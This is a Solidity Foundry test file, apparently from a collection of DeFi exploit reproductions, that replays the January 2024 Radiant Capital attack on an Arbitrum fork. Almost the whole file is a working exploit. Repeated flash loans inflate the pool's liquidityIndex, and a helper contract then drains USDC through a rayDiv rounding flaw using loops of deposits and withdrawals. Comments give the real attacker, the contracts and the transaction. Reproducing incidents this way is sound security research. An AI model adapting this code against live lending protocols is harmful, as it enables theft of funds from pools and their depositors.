src/test/2024-01/RadiantCapital_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$4,5M
8// Attacker : https://arbiscan.io/address/0x826d5f4d8084980366f975e10db6c4cf1f9dde6d
9// Attack Contract : https://arbiscan.io/address/0x39519c027b503f40867548fb0c890b11728faa8f
10// Vuln Contract : https://arbiscan.io/address/0xf4b1486dd74d07706052a33d31d7c0aafd0659e1
11// Attack Tx : https://explorer.phalcon.xyz/tx/arbitrum/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b
12 
13// @Analysis
14// https://neptunemutual.com/blog/how-was-radiant-capital-exploited/
15// https://twitter.com/BeosinAlert/status/1742389285926678784
16 
17interface IRadiant is IAaveFlashloan {
18    function borrow(
19        address asset,
20        uint256 amount,
21        uint256 interestRateMode,
22        uint16 referralCode,
23        address onBehalfOf
24    ) external;
25}
26 
27contract ContractTest is Test {
28    IAaveFlashloan private constant AaveV3Pool = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
29    IRadiant private constant RadiantLendingPool = IRadiant(0xF4B1486DD74D07706052A33d31d7c0AAFD0659E1);
30    IERC20 private constant USDC = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);
31    IERC20 private constant rUSDCn = IERC20(0x3a2d44e354f2d88EF6DA7A5A4646fd70182A7F55);
32    IERC20 private constant rWETH = IERC20(0x0dF5dfd95966753f01cb80E76dc20EA958238C46);
33    IWETH private constant WETH = IWETH(payable(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1));
34    Uni_Pair_V3 private constant WETH_USDC = Uni_Pair_V3(0xC6962004f452bE9203591991D15f6b388e09E8D0);
35    uint160 private constant MAX_SQRT_RATIO = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_342;
36    uint160 private constant MIN_SQRT_RATIO = 4_295_128_739;
37    uint8 private operationId;
38 
39    function setUp() public {
40        vm.createSelectFork("arbitrum", 166_405_686);
41        vm.label(address(AaveV3Pool), "AaveV3Pool");
42        vm.label(address(USDC), "USDC");
43        vm.label(address(rUSDCn), "rUSDCn");
44        vm.label(address(rWETH), "rWETH");
45        vm.label(address(WETH), "WETH");
46        vm.label(address(RadiantLendingPool), "RadiantLendingPool");
47        vm.label(address(WETH_USDC), "WETH_USDC");
48    }
49 
50    function testExploit() public {
51        emit log_named_decimal_uint("Exploiter WETH balance before attack", WETH.balanceOf(address(this)), 18);
52        operationId = 1;
53        bytes memory params = abi.encode(
54            address(RadiantLendingPool), address(rUSDCn), address(rWETH), address(WETH_USDC), uint256(1), uint256(0)
55        );
56        // Start flashloan attack to manipulate the liquidityIndex value
57        takeFlashLoan(address(AaveV3Pool), 3_000_000 * 1e6, params);
58        emit log_named_decimal_uint("Exploiter WETH balance after attack", WETH.balanceOf(address(this)), 18);
59    }
60 
61    function executeOperation(
62        address[] calldata assets,
63        uint256[] calldata amounts,
64        uint256[] calldata premiums,
65        address initiator,
66        bytes calldata params
67    ) external returns (bool) {
68        if ((operationId - 1) != 0) {
69            if (operationId == 2) {
70                operationId = 3;
71                uint256 rUSDCnBalanceBeforeTransfer = rUSDCn.balanceOf(address(this));
72                USDC.transfer(address(rUSDCn), rUSDCn.balanceOf(address(this)));
73                RadiantLendingPool.withdraw(address(USDC), rUSDCnBalanceBeforeTransfer - 1, address(this));
74            }
75        } else {
76            USDC.approve(address(RadiantLendingPool), type(uint256).max);
77            RadiantLendingPool.deposit(address(USDC), 2_000_000 * 1e6, address(this), 0);
78            operationId = 2;
79            uint8 i;
80            while (i < 151) {
81                takeFlashLoan(address(RadiantLendingPool), 2_000_000 * 1e6, abi.encode(type(uint256).max));
82                ++i;
83            }
84            // End flashloan attack
85 
86            // To update: find a way to calculate below WETH amount
87            uint256 amountToBorrow = 90_690_695_360_221_284_999;
88            RadiantLendingPool.borrow(address(WETH), amountToBorrow, 2, 0, address(this));
89            uint256 transferAmount = rUSDCn.balanceOf(address(this));
90            HelperExploit helper = new HelperExploit();
91            USDC.approve(address(helper), type(uint256).max);
92            // liquidityIndex is shifted to a very larger value so flaw (rounding issue) in rayDiv function can be used to take all the funds from pool
93            helper.siphonFundsFromPool(transferAmount);
94 
95            WETH.approve(address(WETH_USDC), type(uint256).max);
96            USDC.approve(address(WETH_USDC), type(uint256).max);
97            WETH_USDC.swap(address(this), true, 2e18, MIN_SQRT_RATIO + 1, "");
98            WETH_USDC.swap(address(this), false, 3_232_558_736, MAX_SQRT_RATIO - 1, "");
99        }
100        // Repaying Aave flashloan
101        USDC.approve(address(AaveV3Pool), type(uint256).max);
102        return true;
103    }
104 
105    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
106        if (amount0Delta > 0) {
107            WETH.transfer(address(WETH_USDC), uint256(amount0Delta));
108        } else {
109            USDC.transfer(address(WETH_USDC), uint256(amount1Delta));
110        }
111    }
112 
113    receive() external payable {}
114 
115    function takeFlashLoan(address where, uint256 amount, bytes memory params) internal {
116        address[] memory assets = new address[](1);
117        assets[0] = address(USDC);
118        uint256[] memory amounts = new uint256[](1);
119        amounts[0] = amount;
120        uint256[] memory interestRateModes = new uint256[](1);
121        interestRateModes[0] = 0;
122        IAaveFlashloan(where).flashLoan(address(this), assets, amounts, interestRateModes, address(this), params, 0);
123    }
124}
125 
126contract HelperExploit is Test {
127    IRadiant private constant RadiantLendingPool = IRadiant(0xF4B1486DD74D07706052A33d31d7c0AAFD0659E1);
128    IERC20 private constant USDC = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);
129    IERC20 private constant rUSDCn = IERC20(0x3a2d44e354f2d88EF6DA7A5A4646fd70182A7F55);
130 
131    function siphonFundsFromPool(
132        uint256 amount
133    ) external {
134        USDC.transferFrom(msg.sender, address(this), amount << 1);
135        USDC.approve(address(RadiantLendingPool), type(uint256).max);
136        bool depositSingleAmount;
137        while (true) {
138            if (USDC.balanceOf(address(rUSDCn)) < 1) {
139                break;
140            }
141            if (depositSingleAmount == true) {
142                RadiantLendingPool.deposit(address(USDC), amount, address(this), 0);
143            } else {
144                RadiantLendingPool.deposit(address(USDC), amount << 1, address(this), 0);
145                depositSingleAmount = true;
146            }
147            if (USDC.balanceOf(address(rUSDCn)) > ((amount * 3) >> 1) - 1) {
148                RadiantLendingPool.withdraw(address(USDC), ((amount * 3) >> 1) - 1, address(this));
149            } else {
150                RadiantLendingPool.withdraw(address(USDC), USDC.balanceOf(address(rUSDCn)), address(this));
151                USDC.transfer(msg.sender, USDC.balanceOf(address(this)));
152            }
153        }
154    }
155}